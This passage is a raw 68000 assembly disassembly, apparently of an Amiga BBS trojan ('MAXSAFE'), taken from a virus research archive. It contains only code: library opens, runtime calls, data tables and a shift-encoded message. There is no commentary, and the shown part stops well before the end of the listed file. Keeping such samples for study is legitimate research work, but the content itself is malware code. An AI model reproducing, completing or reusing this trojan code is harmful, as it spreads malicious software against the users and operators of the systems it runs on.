home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / MAXSBBS_TROJAN / MAXSAFE.ASM < prev    next >
Encoding:
Assembly Source File  |  1999-06-12  |  47.1 KB  |  1,676 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $FFFFFE00
  6.  
  7.  
  8.  
  9.  
  10.     SECTION S_0,CODE
  11.  
  12. SECSTRT_0:
  13.     MOVEA.L    #$00008000,A3        ;0000: 267C00008000
  14.     BRA    LAB_0003        ;0006: 600001C6
  15.     NOP                ;000A: 4E71
  16. LAB_0000:
  17.     DC.W    $FE00            ;000C
  18.     DC.W    $0331            ;000E
  19.     DC.W    $3134            ;0010
  20.     DC.W    $FE00            ;0012
  21.     DC.W    $0239            ;0014
  22.     DC.W    $37FE            ;0016
  23.     DC.W    $0003            ;0018
  24.     DC.W    $3130            ;001A
  25.     DC.W    $39FE            ;001C
  26.     DC.W    $0002            ;001E
  27.     MOVE    (EXT_0001).W,-(A2)    ;0020: 3538FE00
  28.     DC.W    $0331            ;0024
  29.     DC.W    $3134            ;0026
  30.     DC.W    $FE00            ;0028
  31.     DC.W    $0331            ;002A
  32.     DC.W    $3137            ;002C
  33.     DC.W    $FE00            ;002E
  34.     DC.W    $0331            ;0030
  35.     DC.W    $3130            ;0032
  36.     DC.W    $FE00            ;0034
  37.     BTST    D1,53(A1,D3.W)        ;0036: 03313035
  38.     DC.W    $FE00            ;003A
  39.     DC.W    $0331            ;003C
  40.     DC.W    $3136            ;003E
  41.     DC.W    $FE00            ;0040
  42.     DC.W    $0233            ;0042
  43.     DC.W    $32FE            ;0044
  44.     DC.W    $0002            ;0046
  45.     DC.W    $3630            ;0048
  46.     DC.W    $FE00            ;004A
  47.     DC.W    $0233            ;004C
  48.     DC.W    $32FE            ;004E
  49.     DC.W    $0003            ;0050
  50.     DC.W    $3131            ;0052
  51.     DC.W    $34FE            ;0054
  52.     DC.W    $0002            ;0056
  53.     DC.W    $3937            ;0058
  54.     DC.W    $FE00            ;005A
  55.     BTST    D1,57(A1,D3.W)        ;005C: 03313039
  56.     DC.W    $FE00            ;0060
  57.     DC.W    $0235            ;0062
  58.     DC.W    $38FE            ;0064
  59.     DC.W    $0003            ;0066
  60.     DC.W    $3132            ;0068
  61.     DC.W    $31FE            ;006A
  62.     DC.W    $0003            ;006C
  63.     DC.W    $3130            ;006E
  64.     DC.W    $31FE            ;0070
  65.     DC.W    $0003            ;0072
  66.     DC.W    $3131            ;0074
  67.     DC.W    $35FE            ;0076
  68.     DC.W    $0002            ;0078
  69.     DC.W    $3332            ;007A
  70.     DC.W    $FE00            ;007C
  71.     BTST    D1,48(A1,D3.W)        ;007E: 03313030
  72.     DC.W    $FE00            ;0082
  73.     DC.W    $0233            ;0084
  74.     DC.W    $32FE            ;0086
  75.     DC.W    $0003            ;0088
  76.     DC.W    $3131            ;008A
  77.     DC.W    $35FE            ;008C
  78.     DC.W    $0002            ;008E
  79.     DC.W    $3939            ;0090
  80.     DC.W    $FE00            ;0092
  81.     DC.W    $0331            ;0094
  82.     DC.W    $3135            ;0096
  83.     DC.W    $FE00            ;0098
  84.     BTST    D1,53(A1,D3.W)        ;009A: 03313035
  85.     DC.W    $FE00            ;009E
  86.     DC.W    $0234            ;00A0
  87.     DC.W    $36FE            ;00A2
  88.     DC.W    $0003            ;00A4
  89.     MOVE    -2(A0,D3.W),-(A0)    ;00A6: 313030FE
  90.     DC.W    $0003            ;00AA
  91.     DC.W    $3130            ;00AC
  92.     DC.W    $31FE            ;00AE
  93.     DC.W    $0003            ;00B0
  94.     MOVE    -2(A1,D3.L),-(A0)    ;00B2: 313138FE
  95.     DC.W    $0003            ;00B6
  96.     DC.W    $3130            ;00B8
  97.     DC.W    $35FE            ;00BA
  98.     DC.W    $0002            ;00BC
  99.     DC.W    $3939            ;00BE
  100.     DC.W    $FE00            ;00C0
  101.     BTST    D1,49(A1,D3.W)        ;00C2: 03313031
  102.     DC.W    $FE00            ;00C6
  103.     DC.W    $0233            ;00C8
  104.     DC.W    $32FE            ;00CA
  105.     DC.W    $0003            ;00CC
  106.     DC.W    $3131            ;00CE
  107.     DC.W    $37FE            ;00D0
  108.     DC.W    $0002            ;00D2
  109.     DC.W    $3332            ;00D4
  110.     DC.W    $FE00            ;00D6
  111.     DC.W    $0234            ;00D8
  112.     DC.W    $38FE            ;00DA
  113.     DC.W    $0002            ;00DC
  114.     DC.W    $3332            ;00DE
  115.     DC.W    $FE00            ;00E0
  116.     DC.W    $0331            ;00E2
  117.     DC.W    $3139            ;00E4
  118.     DC.W    $FE00            ;00E6
  119.     DC.W    $0331            ;00E8
  120.     DC.W    $3134            ;00EA
  121.     DC.W    $FE00            ;00EC
  122.     BTST    D1,53(A1,D3.W)        ;00EE: 03313035
  123.     DC.W    $FE00            ;00F2
  124.     DC.W    $0331            ;00F4
  125.     DC.W    $3136            ;00F6
  126.     DC.W    $FE00            ;00F8
  127.     BTST    D1,49(A1,D3.W)        ;00FA: 03313031
  128.     DC.W    $FE00            ;00FE
  129.     DC.W    $0233            ;0100
  130.     DC.W    $32FE            ;0102
  131.     DC.W    $0003            ;0104
  132.     DC.W    $3130            ;0106
  133.     DC.W    $32FE            ;0108
  134.     DC.W    $0003            ;010A
  135.     DC.W    $3130            ;010C
  136.     DC.W    $35FE            ;010E
  137.     DC.W    $0003            ;0110
  138.     MOVE    -2(A0,D3.L),-(A0)    ;0112: 313038FE
  139.     DC.W    $0003            ;0116
  140.     DC.W    $3130            ;0118
  141.     DC.W    $31FE            ;011A
  142.     DC.W    $0002            ;011C
  143.     DC.W    $3332            ;011E
  144.     DC.W    $FE00            ;0120
  145.     DC.W    $0331            ;0122
  146.     DC.W    $3135            ;0124
  147.     DC.W    $FE00            ;0126
  148.     DC.W    $0235            ;0128
  149.     DC.W    $38FE            ;012A
  150.     DC.W    $0003            ;012C
  151.     DC.W    $3131            ;012E
  152.     DC.W    $35FE            ;0130
  153.     DC.W    $0003            ;0132
  154.     DC.W    $3131            ;0134
  155.     DC.W    $36FE            ;0136
  156.     DC.W    $0002            ;0138
  157.     DC.W    $3937            ;013A
  158.     DC.W    $FE00            ;013C
  159.     DC.W    $0331            ;013E
  160.     DC.W    $3134            ;0140
  161.     DC.W    $FE00            ;0142
  162.     DC.W    $0331            ;0144
  163.     DC.W    $3136            ;0146
  164.     DC.W    $FE00            ;0148
  165.     DC.W    $0331            ;014A
  166.     DC.W    $3137            ;014C
  167.     DC.W    $FE00            ;014E
  168.     DC.W    $0331            ;0150
  169.     DC.W    $3132            ;0152
  170.     DC.W    $FE00            ;0154
  171.     DC.W    $0234            ;0156
  172.     DC.W    $35FE            ;0158
  173.     DC.W    $0003            ;015A
  174.     DC.W    $3131            ;015C
  175.     DC.W    $35FE            ;015E
  176.     DC.W    $0003            ;0160
  177.     DC.W    $3130            ;0162
  178.     DC.W    $31FE            ;0164
  179.     DC.W    $0003            ;0166
  180.     DC.W    $3131            ;0168
  181.     DC.W    $33FE            ;016A
  182.     DC.W    $0003            ;016C
  183.     DC.W    $3131            ;016E
  184.     DC.W    $37FE            ;0170
  185.     DC.W    $0003            ;0172
  186.     DC.W    $3130            ;0174
  187.     DC.W    $31FE            ;0176
  188.     DC.W    $0003            ;0178
  189.     MOVE    -2(A1,D3.W),-(A0)    ;017A: 313130FE
  190.     DC.W    $0002            ;017E
  191.     DC.W    $3939            ;0180
  192.     DC.W    $FE00            ;0182
  193.     BTST    D1,49(A1,D3.W)        ;0184: 03313031
  194.     DC.W    $FE00            ;0188
  195.     DC.W    $0233            ;018A
  196.     DC.W    $32FE            ;018C
  197.     DC.W    $0003            ;018E
  198.     DC.W    $3130            ;0190
  199.     DC.W    $32FE            ;0192
  200.     DC.W    $0003            ;0194
  201.     DC.W    $3131            ;0196
  202.     DC.W    $31FE            ;0198
  203.     DC.W    $0003            ;019A
  204.     DC.W    $3131            ;019C
  205.     DC.W    $34FE            ;019E
  206.     DC.W    $0002            ;01A0
  207.     DC.W    $3939            ;01A2
  208.     DC.W    $FE00            ;01A4
  209.     BTST    D1,49(A1,D3.W)        ;01A6: 03313031
  210.     DC.W    $FE00            ;01AA
  211.     DC.W    $022D            ;01AC
  212.     MOVE    D0,-(A0)        ;01AE: 3100
  213. LAB_0001:
  214.     DC.W    $4D61            ;01B0
  215.     MOVEQ    #68,D4            ;01B2: 7844
  216.     DC.W    $6F6F            ;01B4
  217.     MOVEQ    #67,D1            ;01B6: 7243
  218.     BLE.S    LAB_0005        ;01B8: 6F6E
  219.     MOVEQ    #114,D2            ;01BA: 7472
  220.     BLE.S    LAB_0006        ;01BC: 6F6C
  221.     MOVEA.L    -(A2),A7        ;01BE: 2E62
  222.     DC.W    $6173            ;01C0
  223. LAB_0002:
  224.     ORI.B    #$00,D0            ;01C2: 00000000
  225.     DC.L    LAB_0001        ;01C6: 000001B0
  226.     DC.W    $0000            ;01CA
  227.     DC.W    $FFFF            ;01CC
  228. LAB_0003:
  229.     MOVEQ    #15,D5            ;01CE: 7A0F
  230.     MOVE    #$0F38,D4        ;01D0: 383C0F38
  231.     MOVE.L    #$00000F88,D3        ;01D4: 263C00000F88
  232.     MOVE    #$0100,D7        ;01DA: 3E3C0100
  233.     MOVE.L    #$00001000,D2        ;01DE: 243C00001000
  234.     MOVE    #$012C,D6        ;01E4: 3C3C012C
  235.     MOVEM.L    D0/A0,-(A7)        ;01E8: 48E78080
  236.     SUBA.L    A1,A1            ;01EC: 93C9
  237.     MOVEA.L    (ABSEXECBASE).W,A6    ;01EE: 2C780004
  238.     JSR    -294(A6)        ;01F2: 4EAEFEDA
  239.     MOVEA.L    D0,A4            ;01F6: 2840
  240.     SUBA.L    A5,A5            ;01F8: 9BCD
  241.     TST.L    172(A4)            ;01FA: 4AAC00AC
  242.     BNE.S    LAB_0004        ;01FE: 6612
  243.     LEA    92(A4),A0        ;0200: 41EC005C
  244.     JSR    -384(A6)        ;0204: 4EAEFE80
  245.     LEA    92(A4),A0        ;0208: 41EC005C
  246.     JSR    -372(A6)        ;020C: 4EAEFE8C
  247.     MOVEA.L    D0,A5            ;0210: 2A40
  248. LAB_0004:
  249.     LEA    LAB_0010(PC),A1        ;0212: 43FA00C2
  250.     MOVEQ    #0,D0            ;0216: 7000
  251.     JSR    -552(A6)        ;0218: 4EAEFDD8
  252.     TST.L    D0            ;021C: 4A80
  253.     BEQ.S    LAB_0008        ;021E: 6726
  254.     MOVEA.L    D0,A3            ;0220: 2640
  255.     CMPI    #$0009,20(A3)        ;0222: 0C6B00090014
  256. LAB_0005:
  257.     BNE.S    LAB_0007        ;0228: 6614
  258. LAB_0006:
  259.     CMPI    #$0001,22(A3)        ;022A: 0C6B00010016
  260.     BLT.S    LAB_0007        ;0230: 6D0C
  261.     LEA    LAB_000C(PC),A1        ;0232: 43FA007C
  262.     LEA    LAB_0015(PC),A2        ;0236: 45FA00EC
  263.     JMP    -90(A3)            ;023A: 4EEBFFA6
  264. LAB_0007:
  265.     BSR.S    LAB_000C        ;023E: 6170
  266.     LEA    LAB_0011(PC),A2        ;0240: 45FA00A4
  267.     BRA.S    LAB_0009        ;0244: 6004
  268. LAB_0008:
  269.     LEA    LAB_000F+1(PC),A2    ;0246: 45FA008B
  270. LAB_0009:
  271.     ADDQ.L    #8,A7            ;024A: 508F
  272.     LEA    LAB_000D(PC),A1        ;024C: 43FA006C
  273.     MOVEQ    #31,D0            ;0250: 701F
  274.     JSR    -552(A6)        ;0252: 4EAEFDD8
  275.     TST.L    D0            ;0256: 4A80
  276.     BEQ.S    LAB_000A        ;0258: 6744
  277.     MOVEA.L    D0,A6            ;025A: 2C40
  278.     CLR.L    -(A7)            ;025C: 42A7
  279.     PEA    LAB_000E(PC)        ;025E: 487A006C
  280.     CLR.L    -(A7)            ;0262: 42A7
  281.     MOVE.L    #$00060003,-(A7)    ;0264: 2F3C00060003
  282.     CLR.L    -(A7)            ;026A: 42A7
  283.     MOVEA.L    A7,A3            ;026C: 264F
  284.     CLR.L    -(A7)            ;026E: 42A7
  285.     MOVE.L    A2,-(A7)        ;0270: 2F0A
  286.     CLR.L    -(A7)            ;0272: 42A7
  287.     MOVE.L    #$00140005,-(A7)    ;0274: 2F3C00140005
  288.     CLR.L    -(A7)            ;027A: 42A7
  289.     MOVEA.L    A7,A1            ;027C: 224F
  290.     SUBA.L    A0,A0            ;027E: 91C8
  291.     SUBA.L    A2,A2            ;0280: 95CA
  292.     MOVEQ    #0,D0            ;0282: 7000
  293.     MOVEQ    #0,D1            ;0284: 7200
  294.     MOVE    #$0136,D2        ;0286: 343C0136
  295.     MOVEQ    #55,D3            ;028A: 7637
  296.     JSR    -348(A6)        ;028C: 4EAEFEA4
  297.     MOVEA.L    A6,A1            ;0290: 224E
  298.     MOVEA.L    (ABSEXECBASE).W,A6    ;0292: 2C780004
  299.     JSR    -414(A6)        ;0296: 4EAEFE62
  300.     LEA    40(A7),A7        ;029A: 4FEF0028
  301. LAB_000A:
  302.     MOVE.L    A5,D0            ;029E: 200D
  303.     BEQ.S    LAB_000B        ;02A0: 670A
  304.     JSR    -132(A6)        ;02A2: 4EAEFF7C
  305.     MOVEA.L    A5,A1            ;02A6: 224D
  306.     JSR    -378(A6)        ;02A8: 4EAEFE86
  307. LAB_000B:
  308.     MOVEQ    #20,D0            ;02AC: 7014
  309.     RTS                ;02AE: 4E75
  310. LAB_000C:
  311.     MOVEA.L    A3,A1            ;02B0: 224B
  312.     JSR    -414(A6)        ;02B2: 4EAEFE62
  313.     MOVE.L    D7,D0            ;02B6: 2007
  314.     RTS                ;02B8: 4E75
  315. LAB_000D:
  316.     BVS.S    LAB_0016+2        ;02BA: 696E
  317.     MOVEQ    #117,D2            ;02BC: 7475
  318.     BVS.S    LAB_0017        ;02BE: 6974
  319.     DC.W    $696F            ;02C0
  320.     BGT.S    LAB_0012        ;02C2: 6E2E
  321.     DC.W    $6C69            ;02C4
  322.     BHI.S    LAB_0018        ;02C6: 6272
  323.     BSR.S    LAB_0018+2        ;02C8: 6172
  324.     DC.W    $7900            ;02CA
  325. LAB_000E:
  326.     DC.W    $4361            ;02CC
  327.     DC.W    $6E63            ;02CE
  328.     BCS.S    LAB_001A        ;02D0: 656C
  329. LAB_000F:
  330.     DC.W    $004E            ;02D2
  331.     BLE.S    LAB_0013        ;02D4: 6F20
  332. LAB_0010:
  333.     BVC.S    LAB_0018        ;02D6: 6862
  334.     DC.W    $6173            ;02D8
  335.     DC.W    $6963            ;02DA
  336.     DC.W    $322E            ;02DC
  337.     DC.W    $6C69            ;02DE
  338.     BHI.S    LAB_001B+2        ;02E0: 6272
  339.     BSR.S    LAB_001B+4        ;02E2: 6172
  340.     DC.W    $7900            ;02E4
  341. LAB_0011:
  342.     DC.W    $496E            ;02E6
  343.     MOVEQ    #97,D3            ;02E8: 7661
  344.     DC.W    $6C69            ;02EA
  345.     BCC.S    LAB_0014        ;02EC: 6420
  346.     BVC.S    LAB_001B        ;02EE: 6862
  347.     DC.W    $6173            ;02F0
  348. LAB_0012:
  349.     DC.W    $6963            ;02F2
  350.     DC.W    $322E            ;02F4
  351. LAB_0013:
  352.     DC.W    $6C69            ;02F6
  353.     BHI.S    LAB_001E        ;02F8: 6272
  354.     BSR.S    LAB_001F        ;02FA: 6172
  355.     DC.W    $7900            ;02FC
  356.     ORI    #$6F6D,(A3)        ;02FE: 00536F6D
  357.     BCS.S    LAB_0015        ;0302: 6520
  358.     DC.W    $636F            ;0304
  359.     DC.W    $6465            ;0306
  360.     MOVE    -(A0),D5        ;0308: 3A20
  361.     DC.W    $436F            ;030A
  362.     MOVEQ    #121,D0            ;030C: 7079
  363. LAB_0014:
  364.     MOVEQ    #105,D1            ;030E: 7269
  365.     BEQ.S    LAB_0020        ;0310: 6768
  366.     MOVEQ    #32,D2            ;0312: 7420
  367.     MOVEA.L    D3,A4            ;0314: 2843
  368.     MOVE.L    -(A0),-(A4)        ;0316: 2920
  369.     PEA    21359(A1)        ;0318: 4869536F
  370.     BNE.S    LAB_0021        ;031C: 6674
  371.     DC.W    $2031            ;031E
  372.     DC.W    $3939            ;0320
  373.     MOVE    D0,D2            ;0322: 3400
  374. LAB_0015:
  375.     JSR    -2676(A3)        ;0324: 4EABF58C
  376. LAB_0016:
  377.     JSR    -2688(A3)        ;0328: 4EABF580
  378.     JSR    -618(A3)        ;032C: 4EABFD96
  379.     JSR    -630(A3)        ;0330: 4EABFD8A
  380. LAB_0017:
  381.     BSET    #0,312(A5)        ;0334: 08ED00000138
  382. LAB_0018:
  383.     LEA    -2736(A3),A0        ;033A: 41EBF550
  384. LAB_001A:
  385.     MOVE.L    A0,30(A5)        ;033E: 2B48001E
  386.     LEA    -2718(A3),A0        ;0342: 41EBF562
  387.     MOVE.L    A0,26(A5)        ;0346: 2B48001A
  388.     JSR    -1926(A3)        ;034A: 4EABF87A
  389.     CLR.B    596(A5)            ;034E: 422D0254
  390. LAB_001B:
  391.     MOVE.B    #$04,523(A5)        ;0352: 1B7C0004020B
  392.     MOVE.L    #LAB_0000,478(A5)    ;0358: 2B7C0000000C01DE
  393.     MOVE.L    #LAB_0002+2,998(A5)    ;0360: 2B7C000001C403E6
  394.     BRA    LAB_001F        ;0368: 60000004
  395. LAB_001E:
  396.     NOP                ;036C: 4E71
  397. LAB_001F:
  398.     MOVE.L    #$00040000,(A5)        ;036E: 2ABC00040000
  399.     JSR    20(A5)            ;0374: 4EAD0014
  400.     MOVEQ    #0,D7            ;0378: 7E00
  401. LAB_0020:
  402.     MOVE    D7,-(A6)        ;037A: 3D07
  403.     MOVEQ    #0,D7            ;037C: 7E00
  404.     JSR    -2124(A3)        ;037E: 4EABF7B4
  405.     DC.W    $0012            ;0382
  406.     BVS.S    LAB_0024+2        ;0384: 696E
  407.     MOVEQ    #117,D2            ;0386: 7475
  408.     BVS.S    LAB_0025+2        ;0388: 6974
  409.     DC.W    $696F            ;038A
  410.     BGT.S    LAB_0022        ;038C: 6E2E
  411.     DC.W    $6C69            ;038E
  412.     BHI.S    LAB_0026+4        ;0390: 6272
  413. LAB_0021:
  414.     BSR.S    LAB_0027        ;0392: 6172
  415.     DC.W    $7900            ;0394
  416.     MOVE.L    #$00070000,(A5)        ;0396: 2ABC00070000
  417.     JSR    20(A5)            ;039C: 4EAD0014
  418.     MOVEQ    #0,D7            ;03A0: 7E00
  419.     MOVE    D7,-(A6)        ;03A2: 3D07
  420.     MOVEQ    #1,D7            ;03A4: 7E01
  421.     JSR    -2124(A3)        ;03A6: 4EABF7B4
  422.     DC.W    $0014            ;03AA
  423.     DC.W    $6869            ;03AC
  424.     DC.W    $736F            ;03AE
  425.     BNE.S    LAB_0028+4        ;03B0: 6674
  426.     DC.W    $6261            ;03B2
  427.     DC.W    $7369            ;03B4
  428.     BLS.S    LAB_0023+4        ;03B6: 632E
  429.     DC.W    $6C69            ;03B8
  430.     BHI.S    LAB_0029        ;03BA: 6272
  431. LAB_0022:
  432.     BSR.S    LAB_002A        ;03BC: 6172
  433.     DC.W    $7900            ;03BE
  434.     MOVE.L    #$000B0000,(A5)        ;03C0: 2ABC000B0000
  435.     JSR    20(A5)            ;03C6: 4EAD0014
  436.     MOVEQ    #0,D7            ;03CA: 7E00
  437.     MOVE    D7,-(A6)        ;03CC: 3D07
  438.     MOVEQ    #2,D7            ;03CE: 7E02
  439.     JSR    -2124(A3)        ;03D0: 4EABF7B4
  440.     DC.W    $000C            ;03D4
  441.     DC.W    $646F            ;03D6
  442.     DC.W    $732E            ;03D8
  443.     DC.W    $6C69            ;03DA
  444.     BHI.S    LAB_002B        ;03DC: 6272
  445.     BSR.S    LAB_002C        ;03DE: 6172
  446.     DC.W    $7900            ;03E0
  447. LAB_0023:
  448.     MOVE.L    #$00100000,(A5)        ;03E2: 2ABC00100000
  449.     JSR    20(A5)            ;03E8: 4EAD0014
  450.     MOVE.L    #$80000041,D7        ;03EC: 2E3C80000041
  451. LAB_0024:
  452.     MOVE.L    D7,3896(A5)        ;03F2: 2B470F38
  453.     MOVE.L    #$80000042,D7        ;03F6: 2E3C80000042
  454. LAB_0025:
  455.     MOVE.L    D7,3900(A5)        ;03FC: 2B470F3C
  456. LAB_0026:
  457.     MOVE.L    #$80000043,D7        ;0400: 2E3C80000043
  458. LAB_0027:
  459.     MOVE.L    D7,3904(A5)        ;0406: 2B470F40
  460.     MOVE.L    #$00110000,(A5)        ;040A: 2ABC00110000
  461.     JSR    20(A5)            ;0410: 4EAD0014
  462.     MOVE.L    #$00010000,D7        ;0414: 2E3C00010000
  463.     JSR    -138(A3)        ;041A: 4EABFF76
  464.     MOVE.L    D7,3908(A5)        ;041E: 2B470F44
  465. LAB_0028:
  466.     MOVE.L    #$00140000,(A5)        ;0422: 2ABC00140000
  467.     JSR    20(A5)            ;0428: 4EAD0014
  468.     MOVEQ    #100,D7            ;042C: 7E64
  469. LAB_0029:
  470.     MOVE.L    D7,-(A6)        ;042E: 2D07
  471. LAB_002A:
  472.     MOVE.L    3896(A5),-(A6)        ;0430: 2D2D0F38
  473.     MOVE.L    3900(A5),D7        ;0434: 2E2D0F3C
  474.     JSR    -120(A3)        ;0438: 4EABFF88
  475.     TRAPV                ;043C: 4E76
  476.     MOVE.L    D7,-(A7)        ;043E: 2F07
  477.     MOVE.L    (A6)+,D7        ;0440: 2E1E
  478.     JSR    -120(A3)        ;0442: 4EABFF88
  479.     TRAPV                ;0446: 4E76
  480.     MOVE.L    D7,-(A6)        ;0448: 2D07
  481.     MOVE.L    (A7)+,D7        ;044A: 2E1F
  482.     OR.L    (A6)+,D7        ;044C: 8E9E
  483.     MOVE.L    D7,D1            ;044E: 2207
  484. LAB_002B:
  485.     MOVE.L    (A6)+,D0        ;0450: 201E
  486. LAB_002C:
  487.     MOVE.L    A6,-(A7)        ;0452: 2F0E
  488.     MOVEA.L    362(A5),A6        ;0454: 2C6D016A
  489.     JSR    -96(A6)            ;0458: 4EAEFFA0
  490.     MOVEA.L    (A7)+,A6        ;045C: 2C5F
  491.     MOVE.L    D0,D7            ;045E: 2E00
  492.     MOVE.L    D7,3912(A5)        ;0460: 2B470F48
  493.     MOVE.L    #$00150000,(A5)        ;0464: 2ABC00150000
  494.     JSR    20(A5)            ;046A: 4EAD0014
  495.     MOVEQ    #32,D7            ;046E: 7E20
  496.     MOVE.L    D7,-(A6)        ;0470: 2D07
  497.     MOVE.L    3896(A5),-(A6)        ;0472: 2D2D0F38
  498.     MOVE.L    3900(A5),D7        ;0476: 2E2D0F3C
  499.     JSR    -120(A3)        ;047A: 4EABFF88
  500.     TRAPV                ;047E: 4E76
  501.     MOVE.L    D7,-(A7)        ;0480: 2F07
  502.     MOVE.L    (A6)+,D7        ;0482: 2E1E
  503.     JSR    -120(A3)        ;0484: 4EABFF88
  504.     TRAPV                ;0488: 4E76
  505.     MOVE.L    D7,-(A6)        ;048A: 2D07
  506.     MOVE.L    (A7)+,D7        ;048C: 2E1F
  507.     OR.L    (A6)+,D7        ;048E: 8E9E
  508.     MOVE.L    D7,D1            ;0490: 2207
  509.     MOVE.L    (A6)+,D0        ;0492: 201E
  510.     MOVE.L    A6,-(A7)        ;0494: 2F0E
  511.     MOVEA.L    362(A5),A6        ;0496: 2C6D016A
  512.     JSR    -96(A6)            ;049A: 4EAEFFA0
  513.     MOVEA.L    (A7)+,A6        ;049E: 2C5F
  514.     MOVE.L    D0,D7            ;04A0: 2E00
  515.     MOVE.L    D7,3916(A5)        ;04A2: 2B470F4C
  516.     MOVE.L    #$00160000,(A5)        ;04A6: 2ABC00160000
  517.     JSR    20(A5)            ;04AC: 4EAD0014
  518.     MOVEQ    #32,D7            ;04B0: 7E20
  519.     MOVE.L    D7,-(A6)        ;04B2: 2D07
  520.     MOVE.L    3896(A5),-(A6)        ;04B4: 2D2D0F38
  521.     MOVE.L    3900(A5),D7        ;04B8: 2E2D0F3C
  522.     JSR    -120(A3)        ;04BC: 4EABFF88
  523.     TRAPV                ;04C0: 4E76
  524.     MOVE.L    D7,-(A7)        ;04C2: 2F07
  525.     MOVE.L    (A6)+,D7        ;04C4: 2E1E
  526.     JSR    -120(A3)        ;04C6: 4EABFF88
  527.     TRAPV                ;04CA: 4E76
  528.     MOVE.L    D7,-(A6)        ;04CC: 2D07
  529.     MOVE.L    (A7)+,D7        ;04CE: 2E1F
  530.     OR.L    (A6)+,D7        ;04D0: 8E9E
  531.     MOVE.L    D7,D1            ;04D2: 2207
  532.     MOVE.L    (A6)+,D0        ;04D4: 201E
  533.     MOVE.L    A6,-(A7)        ;04D6: 2F0E
  534.     MOVEA.L    362(A5),A6        ;04D8: 2C6D016A
  535.     JSR    -96(A6)            ;04DC: 4EAEFFA0
  536.     MOVEA.L    (A7)+,A6        ;04E0: 2C5F
  537.     MOVE.L    D0,D7            ;04E2: 2E00
  538.     MOVE.L    D7,3920(A5)        ;04E4: 2B470F50
  539.     MOVE.L    #$00170000,(A5)        ;04E8: 2ABC00170000
  540.     JSR    20(A5)            ;04EE: 4EAD0014
  541.     MOVEQ    #32,D7            ;04F2: 7E20
  542.     MOVE.L    D7,-(A6)        ;04F4: 2D07
  543.     MOVE.L    3896(A5),-(A6)        ;04F6: 2D2D0F38
  544.     MOVE.L    3900(A5),D7        ;04FA: 2E2D0F3C
  545.     JSR    -120(A3)        ;04FE: 4EABFF88
  546.     TRAPV                ;0502: 4E76
  547.     MOVE.L    D7,-(A7)        ;0504: 2F07
  548.     MOVE.L    (A6)+,D7        ;0506: 2E1E
  549.     JSR    -120(A3)        ;0508: 4EABFF88
  550.     TRAPV                ;050C: 4E76
  551.     MOVE.L    D7,-(A6)        ;050E: 2D07
  552.     MOVE.L    (A7)+,D7        ;0510: 2E1F
  553.     OR.L    (A6)+,D7        ;0512: 8E9E
  554.     MOVE.L    D7,D1            ;0514: 2207
  555.     MOVE.L    (A6)+,D0        ;0516: 201E
  556.     MOVE.L    A6,-(A7)        ;0518: 2F0E
  557.     MOVEA.L    362(A5),A6        ;051A: 2C6D016A
  558.     JSR    -96(A6)            ;051E: 4EAEFFA0
  559.     MOVEA.L    (A7)+,A6        ;0522: 2C5F
  560.     MOVE.L    D0,D7            ;0524: 2E00
  561.     MOVE.L    D7,3924(A5)        ;0526: 2B470F54
  562.     MOVE.L    #$00190000,(A5)        ;052A: 2ABC00190000
  563.     JSR    20(A5)            ;0530: 4EAD0014
  564.     LEA    3768(A5),A0        ;0534: 41ED0EB8
  565.     MOVE.L    A0,-(A6)        ;0538: 2D08
  566.     JSR    -798(A3)        ;053A: 4EABFCE2
  567.     DC.W    $0022            ;053E
  568.     DC.W    $5470            ;0540
  569.     DC.W    $7373            ;0542
  570.     MOVEQ    #32,D5            ;0544: 7A20
  571.     DC.W    $7569            ;0546
  572.     BPL.S    LAB_002E        ;0548: 6A74
  573.     DC.W    $2071            ;054A
  574.     DC.W    $7370            ;054C
  575.     DC.W    $6873            ;054E
  576.     BHI.S    LAB_002E+2        ;0550: 626E
  577.     MOVEA.L    26214(A7),A0        ;0552: 206F6666
  578.     BCS.S    LAB_0030        ;0556: 6574
  579.     MOVEA.L    A6,A0            ;0558: 204E
  580.     DC.W    $6279            ;055A
  581.     SUBQ    #8,32(A3,D7.W)        ;055C: 51737020
  582.     DC.W    $7733            ;0560
  583.     MOVE.L    D7,-(A6)        ;0562: 2D07
  584.     MOVEQ    #0,D7            ;0564: 7E00
  585.     JSR    -1728(A3)        ;0566: 4EABF940
  586.     JSR    -1572(A3)        ;056A: 4EABF9DC
  587.     JSR    -240(A3)        ;056E: 4EABFF10
  588.     JSR    -930(A3)        ;0572: 4EABFC5E
  589.     MOVE.L    #$001A0000,(A5)        ;0576: 2ABC001A0000
  590.     JSR    20(A5)            ;057C: 4EAD0014
  591.     MOVE.L    #$80000041,-(A6)    ;0580: 2D3C80000041
  592.     LEA    3768(A5),A0        ;0586: 41ED0EB8
  593.     MOVE.L    A0,D7            ;058A: 2E08
  594.     JSR    -1512(A3)        ;058C: 4EABFA18
  595.     JSR    -138(A3)        ;0590: 4EABFF76
  596.     MOVE.L    D7,-(A6)        ;0594: 2D07
  597.     MOVE.L    #$80000041,D7        ;0596: 2E3C80000041
  598.     LEA    3928(A5),A0        ;059C: 41ED0F58
  599.     JSR    -1704(A3)        ;05A0: 4EABF958
  600.     BRA    LAB_0033        ;05A4: 6000015C
  601.     NOP                ;05A8: 4E71
  602. LAB_002D:
  603.     MOVE.L    #$001B0000,(A5)        ;05AA: 2ABC001B0000
  604.     JSR    20(A5)            ;05B0: 4EAD0014
  605.     LEA    3768(A5),A0        ;05B4: 41ED0EB8
  606.     MOVE.L    A0,-(A6)        ;05B8: 2D08
  607.     MOVE.L    3928(A5),D7        ;05BA: 2E2D0F58
  608. LAB_002E:
  609.     JSR    -120(A3)        ;05BE: 4EABFF88
  610.     TRAPV                ;05C2: 4E76
  611.     MOVE.L    D7,-(A6)        ;05C4: 2D07
  612.     MOVEQ    #1,D7            ;05C6: 7E01
  613.     JSR    -996(A3)        ;05C8: 4EABFC1C
  614. LAB_0030:
  615.     MOVE.L    D7,-(A6)        ;05CC: 2D07
  616.     JSR    -798(A3)        ;05CE: 4EABFCE2
  617.     DC.W    $0001            ;05D2
  618.     MOVE.L    D0,D0            ;05D4: 2000
  619.     JSR    -444(A3)        ;05D6: 4EABFE44
  620.     MOVE    D7,-(A6)        ;05DA: 3D07
  621.     LEA    3768(A5),A0        ;05DC: 41ED0EB8
  622.     MOVE.L    A0,-(A6)        ;05E0: 2D08
  623.     MOVE.L    3928(A5),D7        ;05E2: 2E2D0F58
